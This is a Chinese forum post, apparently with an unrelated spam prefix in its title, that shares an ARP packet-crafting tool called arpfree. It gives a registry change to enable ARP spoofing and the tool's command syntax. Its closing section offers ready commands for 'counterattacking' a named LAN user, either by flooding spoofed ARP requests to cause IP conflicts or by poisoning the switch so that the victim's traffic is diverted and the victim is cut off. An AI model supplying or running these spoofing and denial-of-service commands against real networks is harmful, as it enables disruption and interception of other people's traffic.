深圳马可波罗篮球队:对于局域网内的ARP攻击，有没有有效的确定攻击源的方案？

所上传文件

一次简单的内网问题解决过程.pdf (133.8 KB) arpfree.rar (39.3 KB)

arp 攻击和防止分享一个能够随意发送ARP包的工具~补充：开始忘记说了，要使用ARP欺骗，必须启动ip路由功能，修改(添加)注册表选项：　　  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1下面的朋友发现打开网卡失败，原因可能就是这个~对不起，对不起~我一个朋友做的发送ARP报文的软件，可以发送任意 源，目的 地址的ARP报文我觉得挺方便的，可以结合SNIFFER做不少的事~不用老在SNIFFER里做ARP包了~不过要安装winpacp驱动先， winpacp在附件1中（要先重命名为WinPcap_3_0.exe再安装）因为不能上传EXE....软件（ARPFREE）在附件2中。发送的时候可以选择ARP的TYPE。如果是ARP请求报文，则只要输入要问的IP地址如果是ARP应答报文则要输入发送端的IP以及对方询问MAC地址对应的IP地址最后的发送速度可选参数为：（大小写敏感..我觉得挺不好的）fast----------最快hear---------每60MS一个包（可能是比较适合结合SNIFFER做监听）slowhear---每500MS一个包auto---------每1秒一个包slow---------每2秒个包使用方法如下：************************************************************************ (1)Send arp packet in "request mode"  Examples:*    arpfree 0050fc272b26 000b6af80ca8 request 1.1.1.1 fast*              |                  |      |        |      |*         your mac address        |      |        |      |*                       destnation mac   |        |    speed*                                       arp type  |*                                                 |*                                           your ip address************************************************************************ (2)Send arp packet in "reply mode"  Examples:*    arpfree 0050fc272b26 000b6af80ca8 reply 1.1.1.1 2.2.2.2 auto*                 |            |         |      |      |      |*            your mac address  |         |      |      |      |*                      destnation mac    |      |      |    speed*                                   arp type    |      |*                                               |      |*                                     your ip address  |*                                                      |*                                       the ip address of destnation mac***********************************************************************补充：反击“LAN终结者”的办法：反击“终结者”有几个办法：1：发动比他更强烈的攻击：arpfree 123412341234 ffffffffffff request 192.168.237.58 fast||这里是你想攻击的人的IP地址2：交换机竞争：arpfree 00c04c395a3c 123412341234 request 1.1.1.1. fast||这里是你想攻击的人的MAC地址1:情况将导致他IP地址冲突（比“终结者”来的猛烈多了）2：情况将使得他无法连接网络（由于交换机把他的流量都给你了）